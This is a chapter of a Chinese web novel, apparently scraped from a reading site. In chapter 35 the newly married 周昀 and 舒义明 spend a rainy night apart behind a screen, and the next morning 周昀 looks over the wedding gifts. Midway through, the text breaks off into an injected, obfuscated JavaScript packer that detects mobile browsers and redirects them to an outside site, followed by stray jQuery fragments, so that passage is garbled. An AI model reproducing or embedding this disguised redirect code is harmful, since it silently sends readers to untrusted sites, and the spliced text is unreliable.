默认冷灰
24号文字
方正启体

35. 夫妻

作者:叁疏狂本书字数:K更新时间:
    “周昀。”


    舒砚叫了一声他的名字,轻轻吸了一口气,不动声色地向他瞥去一眼。


    一如既往般,那眼底全然是冷色,以及耐心耗尽的不耐。


    仿佛方才二人之间那稍有缓和的气氛只是周昀的一场梦。


    “我记得你从前不是这样话多的人,”舒砚放下动作,“你愿意叫‘舒征’就叫‘舒征’,愿意叫‘舒义明’就叫‘舒义明’,左不过一个称呼而已,随你的心意。”


    周昀一怔,凝视着舒义明脸上的表情,想要从那其中瞧出什么端倪。


    一扇屏风阻隔了内室的光影,这里的光线有些暗,便显得月光更加凄冷,而那样凄冷的光偏生像是一泓清泉,在地面上流动着粼粼波光。


    月光流动着,周昀的心也像水一样在流动着。


    他怎么忘了,舒义明是一个多么注重边界感的人,又是一个多么喜怒无常的人。


    她不喜欢被探究,不喜欢别人靠得过分近。


    “那便随我心意,”周昀关上门,室内重新陷入幽静,“我睡在外间的榻上,有事可以唤我。”


    舒义明并没有回应他的话。


    外间的榻原本是供周昀白日小憩时用的,自然没有床睡得舒坦,他一向睡眠浅,几乎整个夜晚都处在半梦半醒的状态中。


    不知道躺了多久,屋子里有很轻很轻的声响,伴随着雨水滴淅声。


    雨水落在屋檐和芭蕉叶上,潮湿的水汽从半合的窗户缝溜进来,周昀梦醒坐起,薄毯从身上滑落。


    一道人影打在屏风上,舒义明站在窗前半晌,似乎是察觉到他醒了,遂轻轻侧了侧身。


    隔着屏风,周昀的声音不是很清楚:“义明?是你吗。”


    “是我,”舒砚应声,“周昀,又下雨了。”


    周昀将毯子从身上拿下来,起身犹豫了片刻,绕过屏风,果不其然便看到了穿着中衣的是舒义明在那里专注地聆听夜雨声响。


    他避开视线,站至身侧:“瑞雪兆丰年,春日多雨,今年的庄稼一定很好。”


    舒砚一怔,转过头深深地看了他一眼,眼中讶异一闪而过。


    “十指不沾阳春水的景珩长公子,原来也是关心民瘼的。”


    周昀听出她话里淡淡的挖苦,却并不在意,只是忽然觉得奇怪,却又不知怪从何来。


    黑暗的夜里,她一双眼睛折射着雨夜冰冷的光,那样宁静。


    “你……一夜没睡吗?”


    舒义明将手从窗缝里伸出手,手掌去接细细密密的雨珠。周昀看着圆润的雨珠在她的指尖化开,急促的雨带来一丝春夜的清凉。


    “难道你就睡得踏实吗?”


    周昀静默不语。


    他们二人一个在内室,一个在外间,二人之间隔着一扇薄薄的屏风,怀揣着各自细微的心事,甚至对彼此设下心防。


    这一桩婚事……


    周昀陷入幽静,一切不过是意料之内罢了。


    越是满身谜团,他越要靠近。


    越要看清,谜团之内包裹着什么。


    于是他伸出手,将舒义明轻轻拉了回来,用手掌揩去她已经湿润的手掌,想要擦去那上面的雨。


    舒义明的掌心和她这个人一样冷冽。


    “什么时候都可以赏雨,现在不行。”


    舒义明没有抽回手,只是看着院子里的一处,几盏宫灯在雨夜里亮着幽暗的光,院子一处汇聚了所有的光源,那么明亮。


    “周昀,那里是什么?”


    阶柳庭花的园林内,有一处低矮的篱笆,木料的颜色还算新,里面郁郁葱葱,却种植着名贵的花草,格外茂盛,长势喜人。


    周昀眸光黯了黯:“一些稀罕的花草,需要人精心照料,所以才围了起来。”


    “天已经快亮了,”他放下手,自己的手变得冰凉,“义明,抓紧睡一会儿吧。”


    舒砚没有应声,站在那看着周昀关上窗子,将她的视线彻底隔绝。


    翌日天明时,外面的雨已经停了。


    窗纸投射进来蒙蒙亮的日光,阳光照在他的眼皮上,周昀翻身动了动,身上压着一床软绵绵的厚厚的被子。


    而他的薄毯被整整齐齐地叠放在一旁。


    于是他起身唤人进来,穿戴整齐推开门,今天是一个艳阳高照的好天气。


    朱甍碧瓦上,叠着一道流丽的彩虹。


    “看到义明了吗?”


    下人回话:“舒小君一大早就起了,现在正在前院用早膳。”


    周昀又问道:“吉祥呢?”


    “吉祥小郎君在清点昨日宾客们送来的贺礼,忙着计册入库,”下人规矩回话,“公子可需要小人通传?”


    “不用。”周昀迈开步子,满园春色苍翠欲滴。


    桃红柳绿。


    行至前院前,周昀刻意绕路去库房看了一眼,吉祥和掌管府中大小事宜的刘邑司两个人正在忙碌着,看到他时,刘邑司有些惊讶,规规矩矩行了个礼。


    吉祥紧随其后,道:“这些都是宾客们送来的礼,有些入库了,公子可要过目?”


    周昀接过礼单,站在那看了半晌。


    礼单上记的很详细,各家各户送来的东西基本一句了然。


    视线徐徐扫过文字,周昀忽地停了一下,盯着其中一页仔仔细细看了看:“这是……定山君送来的东西,这么多?”


    刘邑司及时回道:“公子,定山君送来的东西都在这呢,还没来得及入库。”


    她的左手边几乎被礼物摆满了,桌安上铺陈着一部分,地上的箱子里还摆着一部分,琳琅满目。


    水头那样好的翡翠玉如意,一送就是一对,更遑论其他玉器与法书画作,其中亦不乏一些几近失传的孤本。


    有两幅画作被单独放在了另一边,周昀视线触及,刘邑司连忙开口解释。


    “禀公子,这两幅画作是舒小君叮嘱过的,说是不需要入库,叫属下们对册后送到她那去。”


    说罢,谨慎地看了周昀一眼。


    早上晨起路过庭院时,刘邑司不经意间听下人们议论了两句,说是景珩长公子和舒小君昨夜闹得很是不愉快,听说两个人还动手打起来了,最终以舒小君负伤告终。


    一个侍女满脸惊讶,怀疑旁边的人说错了,道,怎么可能,咱们长公子怎么会动手?就算动手,又怎么打得过舒小君?


    另一个侍女回道,舒小君怜香惜玉呗,估计也不舍得动手。


    算了,这都不是我们这些下人该考虑的事。


    刘邑司藏在假山后面看着两个人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16425607|178821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    渐行渐远,愣愣站了一会儿,去库房的路上还在满腹疑惑,以为自己昨天忙昏了头,现在还没清醒。


    现在她在库房看到了景珩长公子,虽说这位主子脸上一向不显山不露水,看不出什么情绪波动。


    不过景珩长公子眼下的一团乌青,却是做不得假的。


    再看眼神,果然喜色淡淡,不像一个新婚郎君。


    哎,她的仕途呦。


    这两个人可千万少打架。


    ……


    周昀不知刘邑司心里在想着什么,听过对方话里的内容后,抬脚向那两处画作走去。


    其中一幅是前朝大家的泼墨山水图,另一幅画是红梅雪中双雀图,图中两只雀鸟立于梅花枝头。


    两幅画技艺精湛,是不可多得的传世之作。


    舒义明会喜欢这样的东西。


    周昀拂过画轴,微不可察地轻笑了一声,世人眼中的舒义明不精文墨,纵情声色恣意放纵,总不可能受伤一次后就转了性子吧。


    那舒义明还是舒义明吗?


    别有深意的一句话一闪而逝,周昀淡淡道:“她既然喜欢,就尽早送到她那去吧,左不过定山君这东西,一大半都是投其所好的。”


    这下刘邑司都怔了一下,旋即反应过来。


    是了,那定山君虽然不姓舒,可实际上却也是江宁舒氏的亲眷,早年发家之前还受过舒氏长辈的提携。


    后来定山君征战西域平定乾坤,先帝为了嘉奖她的功绩,特意授其爵位封号“定山”二字,其爵位可代代相传,彰显无尽荣耀。


    彼时舒家的舒庆娴也正式成为了江宁舒氏的家主,这两个表姐妹走动愈发频繁,定山君的一句话在舒庆娴那,基本上是比江宁舒氏的一些长辈还有用。


    定山君独女斐然郡主和江宁舒氏少主舒义明也很是亲近,两个人就像是当年的定山君和舒宰辅一般。


    心照不宣传承下去的关系,血缘在其中起到的作用微乎其微,荣耀代代相承罢了。


    早年还有传闻,说是当年斐然郡主还没出生时,定山君和舒宰辅曾玩笑过,说如果定山君生下了个小郎君,那二人就结为亲家,亲上加亲。


    哎,可惜没成,否则也没有什么景珩长公子的事了。


    刘邑司道:“是这还有一些其他的东西,您可要过目?”


    “斐然郡主送了什么?”


    刘邑司和吉祥互看了对方一眼,最终她照实回答:“斐然郡主的东西应该是私下送的,没登记在册。”


    那便罢了。


    定山君家门荣耀,当真是……


    富可敌国。


    江宁舒氏亦不遑多让。


    江宁舒氏之女,世间多少人的眼中钉,又是多少儿郎的春闺梦里人。


    前院厅堂内,广袖襕衫的女子头戴华冠,沐浴在清晨朝阳之中,一抹彩虹的流丽色彩倒映在她的眼底。


    纵然那一瞬间,满目春山在她的眼中只是镜花水月。


    她向自己看来,并没有什么表情,只是淡淡地点了个头:“来了?”


    周昀上前,圆桌一张,她刻意叫人在正对面摆了一副碗筷,显然是留给他的位置。


    于是他坐在那,一方圆桌,南北相对。


    至高至明日月,至亲至疏夫妻。*
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)